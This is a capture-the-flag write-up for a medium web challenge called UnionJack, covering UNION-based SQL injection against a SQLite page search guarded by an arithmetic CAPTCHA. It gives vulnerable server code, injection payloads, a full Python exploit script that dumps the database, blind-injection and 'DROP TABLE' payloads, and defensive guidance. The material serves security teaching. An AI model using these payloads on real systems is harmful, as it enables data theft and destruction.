UnionJack - SQL Injection via UNION SELECT

Challenge Type: Web Security

Difficulty: Medium

Tags: SQL Injection, SQLite, UNION-based Attack, CAPTCHA Bypass

Challenge Description

UnionJack is a wiki-style page browser protected by a mathematical CAPTCHA system. The application searches for pages by ID using a vulnerable SQL query that can be exploited using UNION-based SQL injection. This challenge demonstrates classic SQL injection techniques combined with automated CAPTCHA solving.

Challenge Overview

The application combines multiple security layers: - Page Search System: Browse wiki pages by ID - CAPTCHA Protection: Mathematical challenges to prevent automation - SQLite Database: Backend storage for pages - SQL Injection Vulnerability: Unsanitized input in search query - UNION-based Exploitation: Extract arbitrary data from database

Application Architecture

Normal Application Flow

User                            Server                    Database
 |                                |                           |
 |---- GET /get_challenge ------->|                           |
 |<--- {id, question} ------------|                           |
 |                                |                           |
 |---- GET /search?p=1,1 -------->|                           |
 |     &answer=42                 |                           |
 |     &challenge_id=...          |                           |
 |                                |---- SELECT * FROM pages --|
 |                                |     WHERE id=1 AND page=1 |
 |                                |<--- [results] ------------|
 |<--- {pages: [...]} ------------|                           |

Database Schema

CREATE TABLE pages (
    id INTEGER,
    title TEXT,
    content TEXT
);

-- Example data
INSERT INTO pages VALUES (1, 'Page 1', 'Welcome to page 1...');
INSERT INTO pages VALUES (7, 'Secret Page', 'cyhub{un10n_s3l3ct_1nj3ct10n}');

The Vulnerability

The application constructs SQL queries with unsanitized user input:

# Vulnerable server code (simplified)
@app.route('/search')
def search():
    # Verify CAPTCHA first
    challenge_id = request.args.get('challenge_id')
    answer = request.args.get('answer')
    if not verify_captcha(challenge_id, answer):
        return {'error': 'Invalid CAPTCHA'}

    # VULNERABLE: Direct string interpolation!
    page_param = request.args.get('p', '1,1')

    query = f"SELECT id, title, content FROM pages WHERE id={page_param}"
    #                                                        ↑ INJECTION POINT

    cursor = db.execute(query)
    results = cursor.fetchall()

    return jsonify({
        'pages': [
            {'id': r[0], 'title': r[1], 'content': r[2]}
            for r in results
        ]
    })

Vulnerability Analysis: 1. User input (page_param) directly concatenated into SQL 2. No parameterized queries or input sanitization 3. Allows UNION-based injection to extract arbitrary data 4. CAPTCHA only prevents automation, not injection

Solution Walkthrough

Phase 1: Understanding the CAPTCHA

First, analyze and bypass the CAPTCHA system:

import requests

BASE_URL = 'http://h4k0b.cyhub.ctf.am:5585'
session = requests.Session()

def solve_challenge(session):
    """Get and solve a mathematical challenge"""
    resp = session.get(f'{BASE_URL}/get_challenge')
    data = resp.json()

    challenge_id = data['id']
    question = data['question']  # e.g., "123 + 456"

    # Solve using Python's eval (safe for simple math)
    answer = eval(question)

    return challenge_id, answer

# Example usage
challenge_id, answer = solve_challenge(session)
print(f"Challenge: {question} = {answer}")

Phase 2: Testing for SQL Injection

Test if the parameter is vulnerable:

def search(session, payload):
    """Search with CAPTCHA solving"""
    challenge_id, answer = solve_challenge(session)

    resp = session.get(f'{BASE_URL}/search', params={
        'p': payload,
        'answer': answer,
        'challenge_id': challenge_id,
        'solve_time': 5000
    })

    return resp.json()

# Test 1: Normal request
result = search(session, '7,7')
print(result)  # Returns page 7

# Test 2: Basic injection test
result = search(session, "7,7 OR 1=1")
# If vulnerable, returns all pages

Phase 3: Database Schema Enumeration

Use UNION SELECT to extract table structure:

# SQLite stores schema in sqlite_master table
payload = "7,7 UNION SELECT 7, name, sql FROM sqlite_master WHERE type='table'"

result = search(session, payload)

for page in result['pages']:
    if page['title'] != 'Page 7':  # Filter actual page
        print(f"Table: {page['title']}")
        print(f"Schema: {page['content']}")

# Output:
# Table: pages
# Schema: CREATE TABLE pages (id INTEGER, title TEXT, content TEXT)

UNION SELECT Requirements: 1. Number of columns must match (3 in this case: id, title, content) 2. Data types should be compatible 3. First value (7) ensures results merge with page 7's result

Phase 4: Extracting All Data

Dump the entire pages table:

payload = "7,7 UNION SELECT 7, title, content FROM pages"

result = search(session, payload)
flag = None

for page in result['pages']:
    title = page['title']
    content = page['content']

    if 'cyhub{' in str(content):
        flag = content
        print(f"[FLAG FOUND] {title}: {content}")
    else:
        print(f"{title}: {content[:50]}...")

# Output:
# Page 1: Welcome to page 1...
# Page 2: This is page 2...
# ...
# [FLAG FOUND] Secret Page: cyhub{un10n_s3l3ct_1nj3ct10n}

Phase 5: Targeted Flag Extraction

If you know the flag location, extract directly:

# If flag is in a specific hidden page
payload = "7,7 UNION SELECT 7, title, content FROM pages WHERE content LIKE '%cyhub{%'"

result = search(session, payload)
print(f"FLAG: {result['pages'][0]['content']}")

Complete Exploit Code

#!/usr/bin/env python3
"""
UnionJack SQL Injection Exploit
Demonstrates UNION-based SQLi with CAPTCHA bypass
"""

import requests
import time

BASE_URL = 'http://h4k0b.cyhub.ctf.am:5585'

def solve_challenge(session):
    """Get a math challenge and solve it"""
    resp = session.get(f'{BASE_URL}/get_challenge')
    data = resp.json()
    challenge_id = data['id']
    question = data['question']
    answer = eval(question)  # Safe for simple arithmetic
    return challenge_id, answer

def search(session, payload, retries=3):
    """Execute search with CAPTCHA solving and retry logic"""
    for attempt in range(retries):
        try:
            time.sleep(3)  # Rate limiting
            challenge_id, answer = solve_challenge(session)

            resp = session.get(f'{BASE_URL}/search', params={
                'p': payload,
                'answer': answer,
                'challenge_id': challenge_id,
                'solve_time': 5000
            })
            return resp.json()
        except Exception as e:
            print(f"[-] Attempt {attempt+1} failed: {e}")
            time.sleep(10)
    return None

def main():
    print("=" * 60)
    print("UnionJack SQL Injection Exploit")
    print("=" * 60)

    session = requests.Session()

    # Step 1: Verify normal access
    print("\n[*] Testing normal page access...")
    result = search(session, '7,7')
    if result and 'pages' in result:
        print(f"[+] Page 7 accessible: {result['pages'][0]['title']}")

    # Step 2: Enumerate schema
    print("\n[*] Extracting database schema...")
    payload = "7,7 UNION SELECT 7, name, sql FROM sqlite_master WHERE type='table'"
    result = search(session, payload)

    if result and 'pages' in result:
        print("[+] Database tables:")
        for page in result['pages']:
            if page['title'] != 'Page 7':
                print(f"    - {page['title']}: {page['content']}")

    # Step 3: Dump all pages
    print("\n[*] Dumping all page content...")
    payload = "7,7 UNION SELECT 7, title, content FROM pages"
    result = search(session, payload)

    flag = None
    if result and 'pages' in result:
        print(f"[+] Found {len(result['pages'])} entries:")
        for page in result['pages']:
            title = page['title']
            content = page['content']

            if 'cyhub{' in str(content):
                flag = content
                print(f"    [FLAG] {title}: {content}")
            else:
                print(f"    - {title}: {content[:50]}...")

    # Display flag
    if flag:
        print("\n" + "=" * 60)
        print(f"FLAG: {flag}")
        print("=" * 60)
    else:
        print("\n[-] Flag not found")

if __name__ == '__main__':
    main()

Technical Details

Tools and Libraries

  • Python 3.x: Main scripting language
  • requests: HTTP client with session management
  • eval(): Safe for solving simple arithmetic CAPTCHA

SQL Injection Techniques Used

  1. UNION SELECT: Combine results from multiple queries
  2. Schema Enumeration: Query sqlite_master for table structure
  3. Data Exfiltration: Extract sensitive data from tables

Exploit Execution

python unionjack_exploit.py

Expected Output

====================================================
UnionJack SQL Injection Exploit
====================================================

[*] Testing normal page access...
[+] Page 7 accessible: Page 7

[*] Extracting database schema...
[+] Database tables:
    - pages: CREATE TABLE pages (id INTEGER, title TEXT, content TEXT)

[*] Dumping all page content...
[+] Found 10 entries:
    - Page 1: Welcome to page 1...
    - Page 2: About our wiki...
    [FLAG] Secret Page: cyhub{un10n_s3l3ct_1nj3ct10n}

====================================================
FLAG: cyhub{un10n_s3l3ct_1nj3ct10n}
====================================================

Key Takeaways

SQL Injection Fundamentals

UNION SELECT Requirements:

-- Original query returns 3 columns (id, title, content)
SELECT id, title, content FROM pages WHERE id=7 AND page=7

-- Injection must also return 3 columns
UNION SELECT 7, name, sql FROM sqlite_master WHERE type='table'
                    
         col1  col2  col3

Common SQLite System Tables: - sqlite_master: Contains schema information - sqlite_sequence: Auto-increment counters - sqlite_stat1: Table statistics

Defense Mechanisms

Vulnerable Code (DON'T)

# BAD: String concatenation
query = f"SELECT * FROM users WHERE id={user_id}"

# BAD: String formatting
query = "SELECT * FROM users WHERE name='%s'" % username

Secure Code (DO)

# GOOD: Parameterized queries
cursor.execute("SELECT * FROM users WHERE id=?", (user_id,))

# GOOD: ORM with proper escaping
user = db.query(User).filter(User.id == user_id).first()

# GOOD: Input validation + parameterized queries
if not user_id.isdigit():
    return error("Invalid ID")
cursor.execute("SELECT * FROM users WHERE id=?", (int(user_id),))

Defense Recommendations

  1. Use Parameterized Queries (Prepared Statements) ```python # Python DB-API 2.0 cursor.execute("SELECT * FROM pages WHERE id=? AND page=?", (page_id, page_num))

# SQLAlchemy ORM session.query(Page).filter(Page.id == page_id).all() ```

  1. Input Validation python def validate_page_param(param): # Only allow numbers and comma if not re.match(r'^\d+,\d+$', param): raise ValueError("Invalid format") return param

  2. Least Privilege Principle sql -- Database user should only have SELECT permission GRANT SELECT ON pages TO webapp_user; REVOKE INSERT, UPDATE, DELETE ON pages FROM webapp_user;

  3. Web Application Firewall (WAF)

  4. Detect and block SQL injection patterns
  5. ModSecurity, Cloudflare WAF, AWS WAF

  6. Security Testing

  7. SQLMap for automated testing
  8. Regular penetration testing
  9. Code review for SQL queries

CAPTCHA Bypass Considerations

The CAPTCHA in this challenge: - Purpose: Rate limiting and bot prevention - Weakness: Solvable programmatically (simple math) - Lesson: CAPTCHA doesn't prevent exploitation, only automation

Better CAPTCHA alternatives: - reCAPTCHA v3 (behavior analysis) - hCaptcha - Rate limiting + account lockout

Advanced SQL Injection Techniques

Time-Based Blind SQLi

# If no direct output, use timing attacks
payload = "1 AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)"

Boolean-Based Blind SQLi

# Extract data one bit at a time
payload = "1 AND SUBSTR((SELECT flag FROM secrets),1,1)='c'"

Stacked Queries (if supported)

# Multiple statements
payload = "1; DROP TABLE users; --"

References